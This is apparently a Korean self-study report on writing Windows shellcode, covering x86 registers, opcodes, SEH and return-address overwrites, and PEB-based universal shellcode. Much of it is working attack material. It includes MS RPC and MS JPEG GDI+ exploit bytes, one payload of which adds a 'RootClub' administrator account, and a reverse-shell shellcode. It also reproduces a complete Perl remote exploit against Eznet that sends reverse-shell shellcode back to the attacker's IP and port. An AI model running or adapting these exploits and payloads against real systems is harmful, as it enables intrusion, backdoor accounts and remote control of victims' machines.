Cogame 취약점 보고

Size: px
Start display at page:

Download "Cogame 취약점 보고"

Transcription

1 Frist Version: Last Version: gmail.com

2 Table of Contents 1. 기본개념과도구 윈도우쉘코드 윈도우메모리 LAYOUT 레지스터 기본어셈블리어명령어 쉘코드만들기 기본윈도우쉘코드 한국판윈도우쉘코드만들기 유니버셜쉘코드만들기 참조문서및참고사이트 X86 ASSEMBLY LANGUAGE REFERENCE MANUAL AMESIANX S JPEG EXPLOIT WINDOWS BIND SHELLCODE ANALYSIS BLKSAINT SHELLCODER S HANDBOOK /20

3 1. 기본개념과도구 1.1 윈도우쉘코드 윈도우쉘코드는윈도우시스템에서특정시스템명령을실행할수있는기계어코드를말한다. 일반적으로가장기본적인윈도우쉘코드는 cmd.exe 를실행하는기계어코드이며, 그외에도리 버스텔넷의기능을기계어로구현하는쉘코드가있으며, 다운로드 & EXEC 쉘코드도있다. 크게일반적으로 Exploit 코드에서사용되는쉘코드는다음과같은것들이있다. Backdoor port open 쉘코드 => 시스템에특정백도어를오픈하는기능을구현한쉘코드 Reverse Telnet 쉘코드 => 리버스텔넷기능을구현하는쉘코드 Download & Exec 쉘코드 => 특정사이트에서프로그램을다운로드받은후실행하는쉘코드 * Metasploit 에있는쉘코드 PayLoad 들을보면다음과같은것들이있다. Shellcode Payload win32_adduser.pm 기능 시스템에특정사용자를추가하는쉘코드 win32_bind.pm 특정포트를오픈 (bind) 한다. Win32_bind_dllinjection.pm win32_meterpreter.pm 특정포트를열고프로세스메모리에 DLL 을인젝션 Name : Windows Bind Meterpreter DLL Inject Desc : Listen for connection and inject the meterpreter server into the remote process win32_bind_stg.pm 특정포트를열고쉘을떨군다. Win32_bind_stg_upexec.pm win32_bind_vncinjection.pm win32_exec.pm win32_reverse.pm 이외에도열라리많다. Name: Windows Staged Bind Upload/Execute Desc : Listen for connection then upload and exec file Name: Windows Bind VNC Server DLL Inject Desc : Listen for connection and inject a VNC server into the remote process Name : Windows Execute Command Desc : Execute an arbitrary command Name : Windows Reverse Shell Desc : Connect back to attacker and spawn a shell 3/20

4 1.2 윈도우메모리 LayOut 윈도우 x86 아키텍쳐의메모리 LayOut 정도는알아야한다. 접근불가능한영역 0x ~ Win32 프로세스영역 0x0000FFFF 0x ~ 0x7FFFEFFF 커널과실행부 HAL 부트드라이버프로세스페이지테이블하이퍼스페이스시스템캐시페이징풀비페이징풀 C C FFFFFFFF 1.3 레지스터 윈도우가기본적으로 x86 아키텍쳐기반에서동작하기때문에 x86 CPU 에서사용하는레지스터에 대해서기본적인것들은알아야한다. EAX EBX ECX EDX ESP EBP ESI EDI EIP 32-bit (long) General Register 32-bit (long) General Register 32-bit (long) General Register 32-bit (long) General Register 32-bit (long) 스택포인터 32-bit (long) 프레임포인터 32-bit (long) 소스 index 레지스터 32-bit (long) 목적지 index 레지스터명령어포인터 1.4 기본어셈블리어명령어 4/20

5 윈도우쉘코드가 x86 아키텍쳐 CPU 의어셈블리어를이용하여작성하거나또는분석을한다. 윈도우는어셈블리어가 Intel x86 AT&T 형식이다. Intel x86 에서어셈블리어표기법은다음과같다. 명령어목적지, 소스 ( 소스와목적지위치가맨날헷갈린다.) IDS!! 로외우자. MOV ECX, 14H = ECX 에 14h 를넣어라. 실제로함수가만들어질때어셈블리어코드를보면다음과같다 push ebp // ESP = 0065FDF8 EBP = 0065FE mov ebp,esp // ESP = 0065FDF8 EBP = 0065FDF sub esp,50h // ESP = 0065FDA8 EBP = 0065FDF push ebx // ESP = 0065FDA4 EBP = 0065FDF push esi // ESP = 0065FDA0 EBP = 0065FDF push edi // ESP = 0065FD9C EBP = 0065FDF8 // EDI = lea edi,[ebp-50h] // ESP = 0065FD9C EBP = 0065FDF8 // EDI = 0065FDA8 - EDI에할당된 ESP값이들어감 C mov ecx,14h // ECX = mov eax,0cccccccch // EAX = CCCCCCCC 기본적으로알아야하는어셈블리어명령어에는다음과같은것들이있다. 어셈코드 MOV PUSH JMP CALL 설명레지스터끼리값복사, 값을레지스터에복사 MOV EBP, ESP : ESP 값을 EBP에복사스택에값을저장 PUSH EBX : 스택에 EBX 값을넣는다. 특정주소로점프특정함수나프로시져를호출 자주사용되는 ( 필요한 ) 어셈코드에해당하는 OPCODE는다음과같다. 어셈코드 OPCODE 어셈코드 OPCODE JMP ESP FF E4 CALL ESP FF D4 JMP EAX FF E0 CALL EAX FF D0 JMP EBX FF E3 CALL EBX FF D3 JMP ECX FF E1 CALL ECX FF D1 JMP EDX FF E2 CALL EDX FF D2 JMP 0X E9 OPCODE CALL ADDRESS E8 OPCODE EB 0X JMP 0X : 0X 만큼아래로점프 EB 17 JMP short 현재프로그램. 현재프로그램주소 +17 어셈블리어에서는함수를호출할때뒤에인자먼저하나씩스택에 push 한후함수를 call 하는 5/20

6 형태를가진다. 실제로간단한함수를어셈블리어에서어떻게처리하는지살펴보면다음과같다. --C 코드 -- Func(A, B, C); -- ASM 코드 push C push B push A call Func Visual Studio.NET 에서간단한 WinExec() 함수를컴파일한결과는다음과같다. WinExec( cmd, SW_SHOW); 00411A3E mov esi, esp 00411A40 push A42 push offset string cmd" (42401Ch) 00411A47 call dword ptr [ imp WinExec@8 (42B180h) test c 에가면값이 63 6D 64 로되어있다. 위와같이먼저뒤에있는인자부터스택에 PUSH 한후함수를호출하는것을알수있다. 2. 쉘코드만들기 2.1 기본윈도우쉘코드 가장기본적인 cmd.exe를만드는쉘코드를작성해본다. 기본윈도우쉘코드는한마디로말해 WinExec(cmd.exe, SW_SHOW); 이명령어를기계어로만들어서실행하면되는것이다. ( 리눅스의 /bin/sh) 과마찬가지. 저것을만들기위해서는 VC++ 로는 WinExec함수를바로쓸수있으나기계어코드로만들기위해서는어셈블리어로작성해야지된다. ( 어셈블리어가기계어코드와 1:1 매칭되기때문이다.) 어셈블리어로작성하기위해서 WinExec함수의주소를알아야하는데이것은로컬에서는간단하게 depends나 LoadLibrary, GetProcAddress 함수를써서주소를가져올수있다. 그럼간단한윈도우로컬쉘코드를만드는단계는다음과같다. 1. 쉘코드의기능을수행할코드를어셈블리어로작성한다. ( 기본적으로 WinExec( cmd", SW_SHOW); ) 2. 어셈블리어를컴파일하여서기계어를뽑는다. 그기계어모아놓으면쉘코드된다. 6/20

7 ( 여기서국내해커 li0n님의이야기는, 아시아권에서는쉘코드에 Unicode로처리가안되는문자열이들어오면쉘코드는동작을하지않는단다. (0x80보다높은문자가들어오면안된다. ) 이유는커널단에서 W함수를쓰는데 ( 예를들어 CreateProcessW(), W(widecharecter function) 은아규먼트로유니코드만을받기때문이다. 즉 CreateProcessA() 는 ASCII를받는데그것이내부적으로다시 CreateProcessW() 함수로넘어가게되는것이다. 그래서입력값에유니코드만들어가야하는데, 쉘코드에서유니코드가아닌문자열이들어가면 3f 문자열로처리를해버린단다.) 열라간단하지않은가. 1번째단계 push 5 push 64 // d push 6d // m push 63 // c call WinExec() s address 어셈블리어작성하여서했으나.. 아래와같은현상이발생함 int main() { asm { return 0; push ebp mov ebp, esp xor edi, edi push edi mov byte ptr[ebp-02h], 64h // byte 'd' mov byte ptr[ebp-03h], 6dh // byte 'm' mov byte ptr[ebp-04h], 63h // byte 'c' push edi mov byte ptr[ebp-08h], 05h push edi lea eax, [ebp-04h] push eax mov eax, 0x7C86114D call eax => 도스창은뜨지만에러남.. Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention. (ESP 의값이저장이안되어있어서에러남.. 흠..) asm { push esp push ebp mov ebp, esp xor edi, edi push edi mov byte ptr[ebp-02h], 64h // byte 'd' mov byte ptr[ebp-03h], 6dh // byte 'm' mov byte ptr[ebp-04h], 63h // byte 'c' 7/20

8 push edi mov byte ptr[ebp-08h], 05h push edi lea eax, [ebp-04h] push eax mov eax, 0x7C86114D call eax pop ebp pop esp => 도스창은뜸. test.exe 의 0x00411a56 에처리되지않은예외가있습니다. 0xC : 0x00646d63 위치를읽는동안액세스위반이발생했습니다. asm { push esp push ebp mov ebp, esp xor edi, edi push edi mov byte ptr[ebp-02h], 64h // byte 'd' mov byte ptr[ebp-03h], 6dh // byte 'm' mov byte ptr[ebp-04h], 63h // byte 'c' push edi mov byte ptr[ebp-08h], 05h push edi lea eax, [ebp-04h] push eax mov eax, 0x7C86114D call eax pop esp pop esp test.exe 의 0x00411a52 에처리되지않은예외가있습니다. 0xC : 0x00646d63 위치를읽는동안액세스위반이발생했습니다. test.exe 의 0x00411a52 에첫째예외가있습니다. 0xC : 0x00646d63 위치를읽는동안액세스위반이발생했습니다 A10 /> 55 PUSH EBP 00411A11. 8BEC MOV EBP,ESP 00411A13. 81EC C SUB ESP,0C A PUSH EBX 00411A1A. 56 PUSH ESI 00411A1B. 57 PUSH EDI 00411A1C. 8DBD 40FFFFFF LEA EDI,DWORD PTR SS:[EBP-C0] 00411A22. B MOV ECX, A27. B8 CCCCCCCC MOV EAX,CCCCCCCC 00411A2C. F3:AB REP STOS DWORD PTR ES:[EDI] 00411A2E. 54 PUSH ESP 00411A2F. 55 PUSH EBP 00411A30. 8BEC MOV EBP,ESP 00411A32. 33FF XOR EDI,EDI 00411A PUSH EDI 00411A35. C645 FC 63 MOV BYTE PTR SS:[EBP-4], A39. C645 FD 6D MOV BYTE PTR SS:[EBP-3],6D 00411A3D. C645 FE 64 MOV BYTE PTR SS:[EBP-2], A PUSH EDI ; /ShowState => SW_HIDE 00411A42. C645 F8 03 MOV BYTE PTR SS:[EBP-8],3 ; 00411A46. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] ; 00411A PUSH EAX ; CmdLine 8/20

9 00411A4A. B8 4D11867C MOV EAX,kernel32.WinExec ; 00411A4F. FFD0 CALL EAX ; \WinExec 00411A51. 5C POP ESP 00411A52. 5C POP ESP // 이부분에서예외발생함 A53. 33C0 XOR EAX,EAX 00411A55. 5F POP EDI 00411A56. 5E POP ESI 00411A57. 5B POP EBX 00411A58. 81C4 C ADD ESP,0C A5E. 3BEC CMP EBP,ESP 00411A60. E8 42F9FFFF CALL test a A65. 8BE5 MOV ESP,EBP 00411A67. 5D POP EBP 00411A68 \. C3 RETN test.exe 의 0x00411a5f 에처리되지않은예외가있습니다. 0xC : 0x 위치를기록하는동안액세스위반이발생했습니다. ( 왜이러는지 -_-);;;;; => 디버깅뜯어보면.. 마지막에스택에서 pop esp 할때 0x00646d63 값이들어감.. 위에서만들어진쉘코드 \x54\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x45\xf8\x03 \x8d\x45\xfc\x50\xb8\x4d\x11\x86\x7c\xff\xd0\x5c\x5c 위에서만들어진쉘코드를가지고테스트해보자. #include<stdio.h> unsigned char shellcode[] = \x54\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x 45\xF8\x03\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x5C\x5C ; void main() { int *ret; ret = (int*)&ret + 2; (*ret) = (int)shellcode; => warning C4311: ' 형식변환 ' : 'char *' 에서 'int'( 으 ) 로포인터가잘립니다. 이렇게하는방법이있고.. #include <stdio.h> #include <windows.h> char shellcode[] = "\x54\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x 45\xF8\x03\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x5C\x5C"; void main() { int *code; code=(int*)shellcode; asm { jmp code; 9/20

10 이런방법이더간단하게바로쉘을실행할수있게된다. [ 그림 1] 작성한윈도우쉘코드검증화면 10/20

11 [ 그림 2] 작성한윈도우쉘코드검증성공 2.2 한국판윈도우쉘코드만들기 Exploit Code 에사용된쉘코드중에서영문판에서맞게만들어진쉘코드가있다. 이것을한국판 에맞게쉘코드를수정해야할필요성이생길때가있다. 대표적인영문판윈도우에서동작하고한국판윈도우에서는동작하지않았던쉘코드를사용한 Exploit 취약점은 RPC ( 처음에 ), JPEG GDI+,... 등이있다. 외국에서나온 Exploit 을실행했을때안되는경우는코드가원래되지않던지, 아님 OFFSET 이다르기때문이다. 예를들어 MS RPC 취약점에이용된 Exploit Code 를보면다음과같이각운영체제버 전마다 OFFSET 이다르기때문에각각을다정해놓은경우도있다. RPC Exploit Code 중에서 /* Myam add OFFSETS*/ char win2knosppl[] = "\x4d\x3f\xe3\x77"; /* polish win2k nosp ver */ char win2ksp3pl[] = "\x29\x2c\xe4\x77"; /* polish win2k sp3 - ver */ char win2ksp4sp[] = "\x13\x3b\xa5\x77"; /* spanish win2k sp4 */ char win2knospeng1[] = "\x74\x16\xe8\x77"; /* english win2k nosp 1 */ 11/20

12 char win2knospeng2[] = "\x6d\x3f\xe3\x77"; /* english win2k nosp 2 */ char win2ksp1eng[] = "\xec\x29\xe8\x77"; /* english win2k sp1 */... char win2ksp3ger[] = "\x7a\x88\x2e\x77"; /* german win2k sp3 */ char win2ksp2jap[] = "\x2b\x49\xdf\x77"; /* japanese win2k sp2 */ char win2ksp1kr[] = "\x8b\x89\xe5\x77"; /* Korea win2k sp1 same offset */ char win2ksp2kr[] = "\x2b\x49\xdf\x77"; /* Korea win2k sp2 */ char winxpsp1eng2[] = "\xdb\x37\xd7\x77"; /* english xp sp1 2 */ char winxpsp2eng[] = "\xbd\x73\x7d\x77"; /* english xp sp2 */ /* Test this offset ( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B Windows 2000 (no-service-pack) English 0x77e33f6d 0x77f92a9b 0x77e2afc5 0x772254b0 win2k3 0x77E829E3 / 0x77E83587 kokanin win2k sp3 */ unsigned char sc[]= "\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\x29\x4c\xdf\x77" //sp4 //"\x29\x2c\xe2\x77"//0x77e22c29 저런주소가의미하는것특정 DLL 에서 JMP EBX+24 와같은특정명령어가있는곳의주소. 초기에 Exploit Code 는위와같이주소값을각 OS 버전이나나라별로각각달라서맞춰줬어야 했다. 왜냐하면각 OS 버전에따라 DLL 의버전이다르기때문에 DLL 에있는 OPCODE 의주소 도다르기때문이었다. 그래서유니버셜한주소를찾기위해많은해커들이노력하고연구했다. 그결과일면 Magic Address 라는유니버셜한주소를찾을수있게되었고, 모든윈도우버전과 나라에공통적으로공격이가능해져서나라별로 OFFSET 을찾는삽질이거의없어진걸로안다. unsigned long offsets [] = { 0x77e81674, 0x77e829ec, 0x77e824b5, 0x77e8367a, 0x77f92a9b, 0x77e9afe3, 0x77e626ba, ; 이런유니버셜한주소를찾는방법중대표적인게 PEB, TOP STACK, TOP SEH 등을이용하는 방법이있다. ( 공부더해봐야함 ). 그리고 OS 버전마다 TOP SEH 가다를수도있다. (?) 유니버 셜주소를이용해서쉘코드를만드는방법은이다음장인 유니버셜쉘코드만들기 에서자세히 살펴보기로한다. MS RPCSS 취약점에이용된 Exploit Code 를보면다음과같은부분이있다. "\xeb\x1e\x01\x00"// "\x4c\x14\xec\x77"// FOR CN SP3/SP4+-MS03-26 TOP SEH FOR cn w2k+sp4,must modify to SEH of your target's os 12/20

13 TOP SEH 주소를맞게변경해야한다. MS JPGE GDI+ Exploit Shellcode 비교분석 MS JPEG GDI+ 취약점을익스플로잇한외국코드와국내해커 AmesianX 님이한글 윈도우버전에맞게변경한쉘코드를비교분석하면서좀더알아보자. 실제로 shellcode 가잘못되어서동작하지않는익스플로잇과, 그것을고쳐서동작하게끔만드는것을정리. MS FoToZ 가만든익스플로잇에이용된쉘코드 ( 영문윈도우시스템 ) char shellcode[]= "\x68" // push "cmd " "\x8b\xc4" // mov eax,esp "\x50" // push eax "\xb8\x44\x80\xc2\x77" // mov eax,77c28044h (address of system() on WinXP SP1) "\xff\xd0" // call eax ; cmd 를실행하기위해 WinXP SP1 에있는 system() 함수의주소를이용한것을알수있다. char shellcode[]= "\xeb\x02\xff\xd9" // \xeb\x02 is jmp to \xfc\xe8\x56... ( in order to skip \xff\xd9 ) // 0xD9FF is prevent for drawing failure.. "\xfc\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45" "\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3" "\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74" "\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" "\xe8\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59" "\x64\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68" "\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\xeb\x18\x53\x68\x98\xfe\x8a\x0e" "\xff\xd6\xff\xd0\x53\x68\xef\xce\xe0\x60\xff\xd6\x6a\x00\xff\xd0" "\xff\xd0\x6a\x00\xe8\xe1\xff\xff\xff" "cmd.exe /c net user RootClub KoreanHacker /ADD && " // Let's Modify ~! "net localgroup Administrators RootClub /ADD" // yeah.. "\x00"; // using slide view, above shellcode is non-click executed.. very critical... // but the other shellcode required click..(right button click then preview menu) // you can make the shellcode using sctune.c utility.. // just add that shellcode header "\xeb\x02\xff\xd9" // testing is click right button then preview press... or double click... char shellcode2[] = // Generated by z utility ( Example... ) // IP: // PORT: // Windows XP SP1 (KOR EDITION) "\xeb\x02\xff\xd9" // <-- point "\x33\xc0\x33\xc9\xb1\x58\x2b\xe1\x8b\xfc\xf3\xaa\x8b\xec\x66\xb8" "\x6c\x6c\x66\x50\xb8\x33\x32\x2e\x64\x50\xb8\x77\x73\x32\x5f\x50" "\x8b\xc4\x50\xb8\x61\xd9\xe3\x77\xff\xd0\x8b\xe5\x89\x04\x24\x66" 13/20

14 "\xbb\x74\x41\x66\x53\xbb\x6f\x63\x6b\x65\x53\xbb\x57\x53\x41\x53" "\x53\x8b\xdc\x53\x50\xbb\x32\xb3\xe3\x77\xff\xd3\x8b\xe5\x33\xdb" "\x53\x53\x53\xb3\x06\x53\xb3\x01\x53\x43\x53\xff\xd0\x8b\xe5\x33" "\xdb\xb3\x14\x03\xe3\xb3\x44\x89\x1c\x24\xb3\x2c\x03\xe3\x33\xc9" "\xfe\xc5\x89\x0c\x24\xb3\x0c\x03\xe3\x89\x04\x24\x44\x44\x44\x44" "\x89\x04\x24\x44\x44\x44\x44\x89\x04\x24\x8b\xe5\x03\xe3\x68\xc0" "\xa8\x01\x01\x66\xbb\x7a\x69\x90\x90\x66\x53\x33\xdb\x43\x43\x66" "\x53\x8b\xe5\x8b\x1c\x24\x89\x04\x24\x66\xb8\x74\x74\x32\xe4\x66" "\x50\x66\xb8\x65\x63\x66\x50\xb8\x63\x6f\x6e\x6e\x50\x8b\xc4\x50" "\x53\xbb\x32\xb3\xe3\x77\xff\xd3\x8b\xe5\x33\xdb\xb3\x10\x53\x45" "\x45\x45\x45\x55\x4d\x4d\x4d\x4d\x8b\xdd\xff\x33\xff\xd0\x8b\xe5" "\x66\xb8\x65\x65\x32\xe4\x66\x50\x66\xb8\x65\x78\x66\x50\xb8\x63" "\x6d\x64\x2e\x50\x8b\xc4\x8b\xcd\x51\x33\xdb\xb3\x14\x03\xcb\x51" "\x33\xdb\x53\x53\x53\x51\x53\x53\x50\x53\xb8\xbc\x1b\xe2\x77\xff" "\xd0\x50\xb8\xfd\x98\xe3\x77\xff\xd0"; // Unhandled Exception Filter Overwirtes.. char header1[]= "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x02\x00\x00\x64" "\x00\x64\x00\x00\xff\xec\x00\x11\x44\x75\x63\x6b\x79\x00\x01\x00" "\x04\x00\x00\x00\x0a\x00\x00\xff\xee\x00\x0e\x41\x64\x6f\x62\x65" "\x00\x64\xc0\x00\x00\x00\x01" "\xff\xfe\x00\x01" // overflow trigger "\x00\x14\x10\x10" "\xeb\x17" // jump to setnops1 "\x19\x27\x17\x17\x27\x32" "\x9e\x5c\x05\x78" // RPCRT4.DLL - CALL DWORD PTR[EDI+74] (Address) "\xb4\x73\xe9\x77" // Top SEH (Address) - you can find the piece of source code on the internet... "\x26\x2e\x3e\x35\x35\x35\x35\x35\x35"; 위 Exploit Code 에서는 RPCRT4.DLL 안에 CALL DWORD PTR[EDI+74] 명령어에해당하는 OPCODE 가 0x78055C9E 에있고, 시스템의 TOP SEH 주소는 0x77E973B4 에있다고수정한 것이다. 윈도우에서는 Buffer Overflow 가발생하면 Exception Handler 가자동으로실행해서예외처리를 하게된다. 이때핵심포인터는 Exception Handler 가발생할때그주소에쉘코드가있는곳의 주소를덮어쓰면 Exception Handler 가발생할때 Exception Handler 가실행되지않고쉘코드 가있는곳이실행되는것이다. 간단하게도식화하면 14/20

15 TOP SEH 주소를찾아서그주소에다가쉘코드가있는주소를넣으면되는간단한구조다. 쉘코드가있는주소는 Shellcoder s Handbook에서 CALL DWORD PTR[EDI+74] 와같은역할을하는 OPCODE [FF 57 74] 가있는주소를덮어씌우면된다고한다. ( 어떻게 CALL DWORD PTR[EDI+74] 위치에 ShellCode가존재한다는것을알았을까??) CALL DOWD PTR [EDI+0x74] 의 OPCODE 는 FF57 74 이다. 아.. JMP나 CALL 하는이유는.. 쉘코드가있는주소를가리키기위해서 JMP나 CALL을이용하는거다. 예를들어쉘코드가있는주소를특정레지스터리 (EBX) 가가리키고있다면그리고 EBX값을변경할수있다면셀코드가있는주소를어렵게추측해서찍지않아도, JMP EBX나 CALL EBX와같은역할을하는주소를집어넣으면그주소에있는코드 (JMP EBX와같은 ) 가실행되면서쉘코드가실행되는거다. 15/20

16 스택버퍼오버플로우에서는단순히 RET 만변경하여서쉘코드위치를가리키게하면되는간단한 개념이다. 쉘코드는주로스택에저장되기때문에스택에있는위치를 RET 주소로변경하여야 하고그변경되는주소에 CALL ESP 나 JMP ESP 와같은명령어를실행하는주소로변경하면된다. 정리!!!! 쉘코드동작원리! Overflow 가발생하면, 쉘코드가포함되어있는메모리영역을 EIP(RET) 가가리켜야하는데정확한쉘코드위치를모르기때문에쉘코드가있을만한곳을가리키는레지스터나스택포인터로흐름을변경해야함. 그렇기때문에 CALL ESP, JMP ESP, JMP EBX 와같은 OPCODE 가있는주소를이용해서 RET 를변경해야한다. OFFSET 을변경해야하는이유! 위쉘코드동작원리에서보는바와같이 RET 에쉘코드를가리키는특정 OPCODE 주소를지정해야하는데시스템마다 DLL 의버전이다르고 DLL 의버전이다르면, 그안에있는 OPCODE 들을가리키고있는주소도다르기때문에각 OS 버전과언어에맞게 OFFSET 주소를변경해야한다. ( 정확하게말하자면, 쉘코드자체를변경하는것이아니라, 익스플로잇코드에있는 OFFSET 주소를변경해야하는게더정확한표현 ) 16/20

17 2.3 유니버셜쉘코드만들기 유니버셜한쉘코드를만들어본다. 유니버셜쉘코드를만드는방법 PEB (Process Environment Block) 를이용하는방법유니버셜쉘코드를만드는방법 Kernel32.dll 주소를찾기위해 (Kernel32.dll 안에 WinExec() 함수가존재함 ) 아래그림은 Kernel32.dll 주소를찾는과정을나타낸것이다. 아래는 DLL 에서함수주소를찾는과정이다. 모든프로세스는 FS:[0x30] 에 PEB 구조체가존재함 PEB : 프로세스힙, 바이너리이미지정보등을가짐. Linked List 형태 17/20

18 예 Eznet v3.5.0 remote stack overflow Universal Exploit #!/usr/bin/perl -w #########C###O###R###O###M###P###U###T###E###R########### # [Crpt] universal ez v3.3 < v3.5 remote exploit by kralor [Crpt] # # # # versions tested & not vulnerables: v3.0 v3.1 v3.2 # # versions tested & vulnerables: v3.3 v3.4 v3.5 # # Cryptso.dll contains a 'static' jmp esp in eznetwork pack from v3.3 to v3.5 # # It is a trivial exploit, jumping to esp, then at esp we jump backward to # # finally reach the shellcode. The shellcode gives a reverse remote shell. # # Universal shellcode coded by kralor with the PEB technic. # ######W#W#W#.#C#O#R#O#M#P#U#T#E###R###.###N###E###T###### use IO::Socket; print "\r\n\t [Crpt] ez v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n"; print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n"; { print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n"; exit; print "[+] Connecting to ".$ARGV[0]."\t..."; my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0], PeerPort=>"80"); if(!$sock) { print "Error\r\n"; exit; print "Done\r\n"; # 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5?0x1004c72b) # 0xffffedffe9 jmp back ($ - 4'608) $eip = "\x2b\xc7\x04\x10"; $jmp_back = "\xe9\xff\xed\xff\xff"; // JMP FFFDFFFF # universal reverse remote shell using PEB, coded by kralor. $shellc0dei = "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef". "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95". "\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e". "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad". "\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d". "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96". "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3". "\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56". "\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e". "\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff". "\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6". "\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e". "\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6". "\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52". "\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91". "\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45". "\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd". "\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6". "\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97"; $shellc0deii = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6". "\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a". "\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c". "\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0". "\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8". 18/20

19 "\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39". "\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52". "\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e". "\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a". "\x45\x95"; my $tip = inet_aton($argv[1]); my $paddr = sockaddr_in($argv[2], $tip); $paddr=substr($paddr,2,6); $paddr=$paddr^"\x95\x95\x95\x95\x95\x95"; my $rport=substr($paddr,0,2); my $rip=substr($paddr,2,4); $request exit; = "GET /SwEzModule.dll?operation=login&autologin=". "\x90"x100.$shellc0dei.$rport."\x96\x46\x52\x97".$rip.$shellc0deii. "\x90"x4103.$eip."\x90"x4.$jmp_back." HTTP/1.0\r\n\r\n"; print $sock $request; print "[+] Sending evil request\t..."; close($sock); print "Done\r\n"; TOP SEH (Structed Exception Handler) 를이용하는방법유니버셜쉘코드를만드는방법 Kernel32.dll 주소를찾기위해 (Kernel32.dll 안에 WinExec() 함수가존재함 ) * TOP SEH 주소찾는프로그램 TOP SEH 주소찾는코드 중국넘이만듬 #include<windows.h> #include<stdio.h> void main(void) { // Search TOP SEH unsigned int *un; unsigned int sehaddr; HMODULE hk = LoadLibrary("kernel32"); un = (unsigned int *)GetProcAddress(hk, "SetUnhandledExceptionFilter"); // un = (int *)UnhandledExceptionFilter; _asm{ mov eax,un add eax,5 mov ebx,[eax] mov sehaddr, ebx printf("0x%x\ttop SEH\n\n", sehaddr); 19/20

